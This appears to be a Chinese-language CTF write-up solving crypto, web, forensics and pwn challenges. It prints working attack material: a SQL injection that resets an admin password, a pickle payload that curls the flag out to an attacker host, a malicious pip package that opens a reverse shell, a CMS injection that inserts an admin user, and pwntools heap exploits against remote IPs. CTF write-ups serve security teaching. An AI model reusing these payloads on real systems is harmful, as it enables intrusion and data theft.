Crypto

checkin

第一部分求解一下pell函数得到x,y

def solve_pell(N, numTry = 100):a=[]b=[]cf = continued_fraction(sqrt(N))for i in range(numTry):denom = cf.denominator(i)numer = cf.numerator(i)if numer^2 - N * denom^2 == 1:a.append(numer)b.append(denom)return a,bN = 1117
a,b=solve_pell(N)
print(b)

直接使用二项式展开定理即可还原flag

n = 14381700422128582509148801752355744589949207890477326887251636389639477554903212313766087310581920423926674144511237847467160303159477932732842314969782540035709454603184976310835433114879043016737665256729350745769071186849072915716081380191025215059636548339167264601163525017898164466972776553148697204889820118261937316228241099344357088387154112255824092894798716597134811437852876763391697588672779069166285303075312833415574850549277205130215394422655325352478386576833373623679069271857652029364332047485797407322257853316210866532938722911480593571175419708834718860211036796987231227104370259051299799633809
enc1 = 7213976567554002619445032200800186986758840297933991288547009708561953107405266725278346810536664670987171549114913443730366439254199110599202411546254632702440251000149674899033994570393935743323319736976929843596350656674709510612789987746895513057821629144725499933366382123251520676386059405796801097683107223771674383940907066300331503757142088898427893069444164604408189686282018392714450005250018004986102062209998463347007934222341910941474212611569508001910685822097788669516018081617394144015000387497289693096617795809933540456797387940627782045397249431573540932386564021712811633992948508497879189416719996092292320828635490820907122756459412206735413770335545012892724496210585503157766011075566023635046144730429791359690237088629187946232458937292767085665897489251315749496284368726255508362410603108788759785472319449267909859926786774679533591222665476101832482161295321411313525830843915966136814748249906589458905410141906965538387896747375546846618213595165688661941876715858338407833641907024891922856719044736945863722003318526031957256722493189062624177017279248142024760515092698242159769372410662895078523142768353100643884341413944795392762315999109544070401451087596138520908569234305384182336436670714204963907240715652950621301644972412252424876159530992
enc2 = 15954854445966181136742750543358176358186230663706091821454832527034640100670779737656720251005109942306013877086451482243141488450122353285697850016200364912263403464109626937525725210545566742746628476797261121321515812788726862118315480354196115424526212965145342675007815411995594752584377871686965531829990461770047418586001518916553661158567047779694730702789677326905844275827365395845945286695577426050334364557405151339008293258932006267159313380746863008928500607405457044370494583863960981060999695448408234857505591647503423149271589648863473472196402149897680041851877198062464480400493467334040101779732999029043327947071232256187123316057998759518569161852646625701393295408789279678540894319137126821001853808931387200759810381958895695749251834840804088478214013923869059004663359509316215974475427057000629842098545503905230785431115754636129549758888267877395566717448365986552725726428222769339088308242580851434964429627168365161743834285778996916154182286570122208454025753108647581888781783757375011437394936853319184725324597963035778640646869326035848170752766298225095197226934969602554875402243303906613183431896300664684256018886119255870435413622515792072064528098344111446380223430819596310173312668368618931885819458529703118195242890075359424013033800260927722161030183373647798407301688760998313223874318513944409702828538509864933624724225689414495687466779277994989628367119101
D = 1117
x = 87897747594260774254246835664214545379849
y = 2629972211566463612149241455626172190220
p=(enc1-1)//(233*n**2)
enc2=enc2%(n**2)
p1=(enc2-1)//(y*n)
from Crypto.Util.number import *
print(long_to_bytes(p)+long_to_bytes(p1))

backdoor

可以直接将z表示出来然后就能求解key了

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from random import randint
from Crypto.Util.strxor import strxor
from Crypto.Cipher import AES
from hashlib import sha256
from hashlib import md5
(w,a,b,x)=(31889563, 31153, 28517, 763220531)
(A,B,P)=(1064988096, 802063264240, 12565302212045582769124388577074506881895777499095598016237085270545754804754108580101112266821575105979557524040668050927829331647411956215940656838233527)
G=(359297413048687497387015267480858122712978942384458634636826020013871463646849523577260820163767471924019580831592309960165276513810592046624940283279131, 9290586933629395882565073588501573863992359052743649536992808088692463307334265060644810911389976524008568647496608901222631270760608733724291675910247770)
M1=(10930305358553250299911486296334290816447877698513318419802777123689138630792465404548228252534960885714060411282825155604339364568677765849414624286307139, 7974701243567912294657709972665114029771010872297725947444110914737157017082782484356147938296124777392629435915168481799494053881335678760116023075462921)
M2=(497353451039150377961380023736260648366248764299414896780530627602565037872686230259859191906258041016214805015473019277626331812412272940029276101709693, 8439756863534455395772111050047162924667310322829095861192323688205133726655589045018003963413676473738236408975953021037765999542116607686218566948766462)
B_=(5516900502352630982628557924432908395278078868116449817099410694627060720635892997830736032175084336697081211958825053352950153336574705799801251193930256, 10314456103976125214338213393161012551632498638755274752918126246399488480437083278584365543698685202192543021224052941574332651066234126608624976216302370)
c=b'\x1a\xfb\xa2\xe1\x86\x04\xfak\x9a\xa3\xd15\xb8\x16\x1d\xbc\xa9S\xf5;\xfa\xf1\x08dn~\xd4\x94\xa4;^*\xf6\xd7\xf10\xa3\xe1k`\x1f-\xef\x80\x16\x80\x80\xe2'
E = EllipticCurve(GF(P), [A, B])
G=E(G)
M1=E(M1)
M2=E(M2)
B_=E(B_)
z=M1-w*G-a*x*M1-x*b*G
k2 = sha256(str(z[0]).encode()).digest()[:6]
k2 = bytes_to_long(k2)
shared_key2 = k2 * B_
key = md5(str(int(shared_key2[0])).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.decrypt(c)
print(ct)

Web

Phpstudy

1day，一个SQL注入改管理员的密码。

payload：

admin' ;UPDATE ADMINS set PASSWORD ='c26be8aaf53b15054896983b43eb6a65';--admin/123456

然后计划任务执行读取flag或者反弹shell即可。

Easypy

上来扫到了dowload目录，然后pyc反编译得到源码。

# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.9.11 (tags/v3.9.11:2de452f, Mar 16 2022, 14:33:45) [MSC v.1929 64 bit (AMD64)]
# Embedded file name: app.py
# Compiled at: 2023-04-16 23:41:59
# Size of source mod 2**32: 1030 bytes
import numpy, base64
from flask import Flask, Response, request
app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])
def index():return '小p想要找一个女朋友，你能帮他找找看么？'@app.route('/girlfriends', methods=['GET', 'POST'])
def girlfriends():if request.values.get('data'):data = request.values.get('data')numpydata = base64.b64decode(data)if b'R' in numpydata or b'bash' in numpydata or b'sh' in numpydata:return '不能走捷径啊'resp = numpy.loads(numpydata)return '可以的，要的就是一种感觉'return '有进步了,但是不多'@app.route('/download', methods=['GET', 'POST'])
def download():with open('www.zip', 'rb') as (f):stream = f.read()response = Response(stream, content_type='application/octet-stream')response.headers['Content-disposition'] = 'attachment;filename=www.zip'return responseif __name__ == '__main__':app.run(host='0.0.0.0', port=80)

在numpy.loads存在pickle反序列化漏洞，过滤了R指令，直接用i指令绕过。

调用os.system，然后curl外带flag。

import base64data=b'''(S'curl vps:port/`cat /f*`'
ios
system
.'''
print(base64.b64encode(data))

ezrust

直接看源码，发现了index路由下存在文件读取漏洞，并且过滤了p字符。

直接尝试读取文件。

成功，然后读取flag（这题真阴间，说是在work目录下，读了半个小时才出了）

Flag为：flag{3bb4b58b-4ef3-4995-afda-6fdba3485ba5}

qqcms

首先在搜索框发现注入点。

发现后台

因为是公开的源码，本地尝试后构造payload如下{{loop sql=‘INSERT INTO qc_user VALUES (666, 16666666666, “管理员”, “”, “e10adc3949ba59abbe56e057f20f883e”, “”, “”, 1, “”, 2, 0.00, 0, 1, 1652334396, “127.0.0.1”, 1, 1, 1, 1652334410, “127.0.0.1”)’}}{{/loop}}

登陆后在后台发现文件包含漏洞。

MISC

Sudo

cve-2023-22809

直接利用cat读取就好。

Flag为：flag{53040e51-f730-40e0-b7d2-3797e23fc565}

happy2forensic

导出http：

改为压缩包得到：

取证大师加载一下发现BitLocker解密：

根据提示找到tcp.srcport == 20 && tcp.dstport == 80

提取出来得到：bitlocker:120483-350966-299189-055297-225478-133463-431684-359403

解密得：

有好多图片，取证大师试用无法一次性全部提取，发现有一个图片很大，提取出来

Foremost一下：

使用magick montage拼接一下：

猜测是password：856a-a56b6a705653

flag2:-919c-a140d7054ac5

使用AXIOM Process挂载一下：

Flag1:f97d5b05-d312-46ac

拼接一下flag{f97d5b05-d312-46ac-919c-a140d7054ac5}

盲人会藏在哪里

加一下文件头得到密码

ChunJiSai7k7kbibi@!

得到坤坤：

Zsteg查看一下:

发现了个ag{，提取一下看看

flag{2c8ba897-0205-9bff-123d-281d12a24c38}

piphack

上传恶意python包

from setuptools import setupimport socket,subprocess,osdef shell():import socket, time,pty, oshost=''#自己添加port=   #自己添加s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(10)s.connect((host,port))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)os.putenv("HISTFILE",'/dev/null')pty.spawn("/bin/bash")s.close()shell()setup(name="root", version="1.0")

压缩之后改成png格式，然后h->H绕过过滤，监听端口pip传该地址，下载这个png

反弹到shell得到flag

wordle

flag{3834fe18-932d-4b34-9427-57565f0a803c}

PWN

p2048

from pwn import *
p = remote('39.106.65.236', 29729)
p.sendline(b't'*0x400)
p.interactive(

随便玩一下就会溢出偏移到后门函数。

easy_LzhiFTP_CHELL

随机值调试得到，在touch里把dword_4C00值调成16，就能溢出到第一块堆块指针程序在edit里修改free的got表为system

脚本如下：

from pwn import *from struct import packdef s(a):p.send(a)def sa(a, b):p.sendafter(a, b)def sl(a):p.sendline(a)def sla(a, b):p.sendlineafter(a, b)def r():p.recv()def pr():print(p.recv())def rl(a):return p.recvuntil(a)def inter():p.interactive()def debug():gdb.attach(p)pause()def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')\#p = process('./pwn1')p = remote('39.106.48.123', 18593)elf = ELF('./pwn1')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def add(name, data):sla('FTP> ', b'touch ' + name)sa('Context:', data)def show():sla('FTP> ', b'cat')def edit(idx, data):sla('FTP> ', b'edit')sa('idx', str(idx))sa('Content: ', data)def free(idx):sla('FTP> ', b'del')sa('idx:', str(idx))sa(b'name: ', b'a'*0x20)sa(b'Password: ', p64(0x0000000a00000072))sla(b'No)', b'No%25$p')\#pause()rl(b'0x')pie = int(p.recv(12), 16) -7381print(hex(pie))for i in range(0x10):add(b'aaaa', b'/bin/sh\x00')free(0)add(p64(pie + elf.got['free']), b'a'*8)edit(0, p64(pie + elf.sym['system']))
free(4)
inter()